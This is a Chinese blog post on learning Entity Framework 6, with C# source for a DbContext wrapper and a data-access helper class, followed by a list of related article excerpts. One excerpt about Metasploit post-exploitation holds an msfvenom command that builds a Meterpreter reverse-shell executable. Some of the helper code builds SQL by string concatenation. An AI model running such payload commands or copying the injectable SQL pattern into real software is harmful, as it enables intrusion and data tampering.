首先推荐一篇很好的EF文章翻译,可以系统的学习一遍。

《Entity Framework 6 Recipes》中文翻译系列

EF使用体会

优点:

  • 可以省去Ado.net复杂的管道连接代码。
  • 通过简单的引用就能完成对数据库的连接和开发。
  • 可以省去一些SQL语句的编写,对一些底层可能需要适配多数据库提供了一些方便。

缺点:

  • 学习成本较高,如果不怎么懂SQL,索引的一些数据库知识,也写不太好相对优化的Linq查询,所有EF既要懂Sql又懂Linq是最好的。
  • 比较大,EF的dll默认是连接SqlServer若要连接其它数据库引用其它数据库的DLL加起来10几M,而像Dapper这样的轻量级框架才100多K。
  • 查询只支持数据结果对实体的转换,不支持DataTable。

资料汇总

EF连接

连接数据库的多种方法

EF配置

EF的霸气配置秒杀一切

EF进阶

1.学习LINQ To Sql

LINQ To Sql语法汇总

2.学习Expression

LINQ Expression高级篇

3.优化测试

EF查询百万级数据的性能测试

简单的类库

项目如图:

Data.Map中放相关的EntityTypeConfiguration

Data.Module中相关的实体

这里贴一下EFContext和EFDatabase的类

using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Data.Entity.ModelConfiguration;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks; namespace Data.EF
{
//[DbConfigurationType(typeof(MySql.Data.Entity.MySqlEFConfiguration))] Mysql数据库配置
public class EFContext : DbContext, IDisposable
{
public EFContext(string dbName)
: base(dbName)
{
Database.SetInitializer<EFContext>(null);
this.Configuration.AutoDetectChangesEnabled = false;
this.Configuration.ValidateOnSaveEnabled = false;
this.Configuration.LazyLoadingEnabled = false;
this.Configuration.ProxyCreationEnabled = false;
} protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
string assembleFileName = Assembly.GetExecutingAssembly().CodeBase.Replace("Data.EF.DLL", "Data.Map.dll").Replace("file:///", "");
Assembly asm = Assembly.LoadFile(assembleFileName);
var typesToRegister = asm.GetTypes()
.Where(type => !String.IsNullOrEmpty(type.Namespace))
.Where(type => type.BaseType != null && type.BaseType.IsGenericType && type.BaseType.GetGenericTypeDefinition() == typeof(EntityTypeConfiguration<>));
foreach (var type in typesToRegister)
{
dynamic configurationInstance = Activator.CreateInstance(type);
modelBuilder.Configurations.Add(configurationInstance);
}
base.OnModelCreating(modelBuilder);
}
} }
using System;
using System.Collections;
using System.Collections.Generic;
using System.Data;
using System.Data.Common;
using System.Data.Entity;
using System.Data.Entity.Core.Metadata.Edm;
using System.Data.Entity.Infrastructure;
using System.Linq;
using System.Linq.Expressions;
using System.Reflection;
using System.Text; namespace Data.EF
{
public class EFDatabase
{
/// <summary>
/// 返回字符集
/// </summary>
/// <typeparam name="Table"></typeparam>
/// <returns></returns>
public DbSet<Table> Set<Table>() where Table : class
{
return dbcontext.Set<Table>();
} #region 属性
/// <summary>
/// 获取 当前使用的数据访问上下文对象
/// </summary>
public DbContext dbcontext { get; set; }
/// <summary>
/// 事务对象
/// </summary>
public DbTransaction dbTransaction { get; set; } #endregion #region 构造函数 public EFDatabase(string dataBase)
{
dbcontext = new EFContext(dataBase);
} #endregion #region 私有方法 /// <summary>
/// 获取实体类键值(缓存)
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="entity"></param>
/// <returns></returns>
private static Hashtable GetPropertyInfo<T>(T entity)
{
Type type = entity.GetType();
object CacheEntity = null;
if (CacheEntity == null)
{
Hashtable ht = new Hashtable();
PropertyInfo[] props = type.GetProperties();
foreach (PropertyInfo prop in props)
{
string name = prop.Name;
object value = prop.GetValue(entity, null);
ht[name] = value;
}
return ht;
}
else
{
return (Hashtable)CacheEntity;
}
} /// <summary>
/// 存储过程语句
/// </summary>
/// <param name="procName">存储过程名称</param>
/// <param name="dbParameter">执行命令所需的sql语句对应参数</param>
/// <returns></returns>
private static string BuilderProc(string procName, params DbParameter[] dbParameter)
{
StringBuilder strSql = new StringBuilder("exec " + procName);
if (dbParameter != null)
{
foreach (var item in dbParameter)
{
strSql.Append(" " + item + ",");
}
strSql = strSql.Remove(strSql.Length - 1, 1);
}
return strSql.ToString();
} private int Delete<T>(T entity) where T : class
{
dbcontext.Set<T>().Attach(entity);
dbcontext.Set<T>().Remove(entity);
return dbTransaction == null ? dbcontext.SaveChanges() : 0;
} private int Delete<T>(IEnumerable<T> entities) where T : class
{
foreach (var entity in entities)
{
dbcontext.Set<T>().Attach(entity);
dbcontext.Set<T>().Remove(entity);
}
return dbTransaction == null ? dbcontext.SaveChanges() : 0;
} #endregion public EFDatabase BeginTrans()
{
DbConnection dbConnection = ((IObjectContextAdapter)dbcontext).ObjectContext.Connection;
if (dbConnection.State == ConnectionState.Closed)
{
dbConnection.Open();
}
dbTransaction = dbConnection.BeginTransaction();
return this;
} public int Commit()
{
try
{
int returnValue = dbcontext.SaveChanges();
if (dbTransaction != null)
{
dbTransaction.Commit();
this.Close();
}
return returnValue;
}
catch (Exception ex)
{
if (ex.InnerException != null )
{
throw ex.InnerException;
}
throw;
}
finally
{
if (dbTransaction == null)
{
this.Close();
}
}
} public void Rollback()
{
this.dbTransaction.Rollback();
this.dbTransaction.Dispose();
this.Close();
} public void Close()
{
dbcontext.Dispose();
} public int ExecuteBySql(string strSql)
{
dbcontext.Database.CommandTimeout = 60;
return dbcontext.Database.ExecuteSqlCommand(strSql);
} public int ExecuteBySql(string strSql, params object[] dbParameter)
{
dbcontext.Database.CommandTimeout = 60;
return dbcontext.Database.ExecuteSqlCommand(strSql, dbParameter);
} public int ExecuteByProc(string procName)
{
return dbcontext.Database.ExecuteSqlCommand(BuilderProc(procName));
} public int ExecuteByProc(string procName, System.Data.Common.DbParameter[] dbParameter)
{
return dbcontext.Database.ExecuteSqlCommand(BuilderProc(procName, dbParameter), dbParameter);
} public T FindEntity<T>(object keyValue) where T : class
{
return dbcontext.Set<T>().Find(keyValue);
} public T FindEntity<T>(Expression<Func<T, bool>> condition) where T : class, new()
{
return dbcontext.Set<T>().Where(condition).FirstOrDefault();
} public IQueryable<T> FindList<T>(Expression<Func<T, bool>> condition) where T : class, new()
{
return dbcontext.Set<T>().Where(condition);
} public IQueryable<T> FindList<T>(string strSql) where T : class
{
return dbcontext.Set<T>().SqlQuery(strSql).AsQueryable();
} public IQueryable<T> FindList<T>(string strSql, DbParameter[] dbParameter) where T : class
{
return dbcontext.Set<T>().SqlQuery(strSql, dbParameter).AsQueryable();
} public int Delete<T>(object propertyValue, string propertyName) where T : class
{
string TableName = typeof(T).Name;
return this.ExecuteBySql("delete from " + TableName + " where " + propertyName + " = {0}", propertyValue);
} public int Delete<T>(Expression<Func<T, bool>> condition) where T : class, new()
{
IEnumerable<T> entities = dbcontext.Set<T>().Where(condition).ToList();
return entities.Count() > 0 ? Delete(entities) : 0;
} public int Update<T>(T entity) where T : class
{
dbcontext.Set<T>().Attach(entity);
Hashtable props = GetPropertyInfo<T>(entity);
foreach (string item in props.Keys)
{
object value = dbcontext.Entry(entity).Property(item).CurrentValue;
if (value != null)
{
if (value.ToString() == "&nbsp;"||value.ToString().Trim()=="")
dbcontext.Entry(entity).Property(item).CurrentValue = null;
dbcontext.Entry(entity).Property(item).IsModified = true;
}
}
return dbTransaction == null ? this.dbcontext.SaveChanges() : 0;
} public int Update<T>(IEnumerable<T> entities) where T : class
{
foreach (var entity in entities)
{
this.Update(entity);
}
return dbTransaction == null ? this.dbcontext.SaveChanges() : 0;
} }
}

ORM框架学习之EF的更多相关文章

  1. .Net 常用ORM框架对比:EF Core、FreeSql、SqlSuger

    前言: 最近由于工作需要,需要选用一种ORM框架,也因此对EF Core.FreeSql.SqlSuger作简单对比.个人认为各有有优势,存在即合理,不然早就被淘汰了是吧,所以如何选择因人而议.因项目 ...

  2. python中orm框架学习

    安装sqlalchemy pip3 install sqlalchemy 创建表结构: from sqlalchemy import Column,String,create_engine from ...

  3. Mego(2) - NET主流ORM框架分析

    接上文我们测试了各个ORM框架的性能,大家可以很直观的看到各个ORM框架与原生的ADO.NET在境删改查的性能差异.这里和大家分享下我对ORM框架的理解及一些使用经验. ORM框架工作原理 典型ORM ...

  4. ASP.NET MVC学习---(一)ORM框架,EF实体数据模型简介

    现如今 对象关系映射(ORM)框架 被大量的使用于企业级应用的开发 为什么要使用ORM? ADO.NET操作数据库不好吗? 我们可以仔细想想 当我们使用ADO.NET操作数据库的时候 我们需要先获取连 ...

  5. EF框架学习手记

    转载: [ASP.NET MVC]: - EF框架学习手记 1.EF(Entity Framework)实体框架EF是ADO.NET中的一组支持开发面向数据的软件应用程序的技术,是微软的一个ORM框架 ...

  6. [ASP.NET MVC]: - EF框架学习手记

    1.EF(Entity Framework)实体框架EF是ADO.NET中的一组支持开发面向数据的软件应用程序的技术,是微软的一个ORM框架. 2.什么是ORM?ORM指的是面向对象的对象模型和关系型 ...

  7. ORM框架EF

    应用程序和数据库采用Tcp协议通讯 ORM框架有: NHibernate ,Dapper ,Mybatis 底层是 ADO.Net 好处: 1.面向对象 2.没有sql减少学习成本,快速开发 3.编译 ...

  8. EF、Dapper、NHibernate等ORM框架的比较及优缺点

    什么是ORM? ORM的全称是Object Relational Mapping,即对象关系映射.它的实现思想就是将关系数据库中表的数据映射成为对象,以对象的形式展现,这样开发人员就可以把对数据库的操 ...

  9. MVC系列学习(二)-初步了解ORM框架-EF

    1.新建 一个控制台项目 2.添加一个数据项 a.选择数据库 注:数据库中的表如下: b.选择EF版本 c.选择表 3.初步了解EF框架 看到了多了一个以 edmx后缀的文件 在edmx文件上,右击打 ...

随机推荐

  1. jquery.form.js mvc 上传文件 layer 选择框与等待效果

    HTML <form role="form" id="form1"> <div class="form-group"> ...

  2. 【原创】Python 对象创建过程中元类, __new__, __call__, __init__ 的处理

    原始type: type是最原始的元类,其__call__方法是在你使用" t_class = type(classname_string, base_classes_tuple, attr ...

  3. vue 项目项目启动时由于EsLint代码校验报错

    今天在编写好vue项目代码时,在命令行输入npm start的时候出现了如下图所示的一大堆错误: 在网上查找资料说是缺少EsLint配置文件的问题,最终找到一篇由 hahazexia 编写的一篇博客文 ...

  4. msf后渗透

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.e ...

  5. 横向滑动页面,导航条滑动居中的 js 实现思路

    最近在做新闻咨询页的项目,各个新闻频道通过横向滑动切换,顶部的导航active栏需要跟着切换到对应频道,并且active到达中部时,要一直处在中间. 类似效果就是uc浏览器<UC头条>的导 ...

  6. [原创]关于在VS解决方案下使用文件夹管理多个项目层次关系的说明

    由于所创建的应用项目或类库项目较多,于是将这些类库放到一个文件夹下.在VS解决方案下确实能看到一个文件夹下多个类库项目这种层次关系.如下图所示: 但打开“我的电脑”,看到的只有类库,并未看到维护层次关 ...

  7. ubuntu下boot分区空间不足问题的解决方案

    https://blog.csdn.net/along_oneday/article/details/75148240 先查看当前内核版本号(防止误删) uname –r 查看已经安装过的内核 dpk ...

  8. 观察者模式及c++实现

     观察者模式概念:定义对象间的一种一对多的依赖关系,以便当一个对象的状态发生改变时,全部依赖于它的对象都得到通知并自己主动更新."Define a one-to-many dependenc ...

  9. java 工作流项目源码 SSM 框架 Activiti-master springmvc 集成web在线流程设计器

    即时通讯:支持好友,群组,发图片.文件,消息声音提醒,离线消息,保留聊天记录 (即时聊天功能支持手机端,详情下面有截图) 工作流模块---------------------------------- ...

  10. TarsGo新版本发布,支持protobuf,zipkin和自定义插件

    本文作者:陈明杰(sandyskies) Tars是腾讯从2008年到今天一直在使用的后台逻辑层的统一应用框架,目前支持C++,Java,PHP,Nodejs,Golang语言.该框架为用户提供了涉及 ...